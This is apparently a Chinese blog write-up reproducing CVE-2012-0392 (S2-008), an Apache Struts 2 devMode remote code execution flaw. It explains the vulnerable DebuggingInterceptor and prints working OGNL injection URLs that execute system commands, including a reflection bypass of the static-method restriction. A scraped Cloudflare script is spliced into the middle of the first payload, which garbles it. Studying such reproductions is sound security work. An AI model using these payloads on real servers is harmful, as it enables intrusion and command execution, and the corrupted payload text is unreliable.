1. 程式人生 > 其它 >[CVE-2012-0392] Apache Struts 2遠端程式碼執行漏洞復現(第五彈)

[CVE-2012-0392] Apache Struts 2遠端程式碼執行漏洞復現(第五彈)

棄之可惜

0x00 漏洞概述

編號為CVE-2012-0392

即S2-008,實際上是多個漏洞的集合。

  • Cookie投毒:Cookie攔截器的錯誤配置可能導致OGNL表示式執行。但實際上大多Web容器(如Tomcat)對Cookie名稱都有字元限制,使一些關鍵字元失效,此處漏洞利用顯得雞肋。
  • devMode:Struts 2開啟devMode模式後會暴露多個除錯介面,可以直接檢視物件資訊或者執行命令。但也很雞肋,生產環境碰不到devMode。

影響版本:Struts 2.1.0 - Struts 2.3.1

0x01 漏洞原始碼

引數型別轉換、攔截器機制是Struts 2的MVC核心機制。“攔截器”並不是簡單的阻斷、拒絕,而是具備輸入檢查、轉換機制的框架。OGNL表示式就是輸入的載體,藉助OGNL表示式,Struts 2將使用者輸入轉換為Action中對應的屬性。漏洞就出現在這些攔截器上,Struts 2有幾個原生攔截器在解析OGNL表示式時存在漏洞,方便了RCE。

Struts 2存在一個devMode,方便開發時除錯程式,但預設不開啟(所以雞肋)。

<constant name="struts.devMode" value="true" /> 

devMode依賴於Struts 2的struts2-core.jar中的DebuggingInterceptor.java實現,也就是漏洞所在地。

struts2-core-2.2.3.jar!\org\apache\struts2\interceptor\debugging\DebuggingInterceptor.class中可見:

攻擊者可以使用devMode的任意一種模式,藉助OGNL完成攻擊。

向下檢視intercept()方法的實現:

其中的這個try非常危險,未做過濾而直接使用stack.findValue()處理變數cmd,而findValue()能夠執行OGNL。

0x02 PoC

?debug=command&expression= %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 

呼叫Java反射類,以訪問一些私有成員變數,繞過Struts 2限制執行靜態方法的規則。

Struts 2在2.3.14.1版本之後設定了#_memberAccess["allowStaticMethodAccess"]為不可修改,而要呼叫靜態方法,該項必須為true。於是使用Java的反射機制繞過限制:

#f = #_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')
#f.setAccessible(true) 
#f.set(#_memberAccess, true) 

0x03 利用流程

訪問靶機

devMode

訪問/devmode.action:

執行

使用PoC:

?debug=command&expression=(%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=[命令]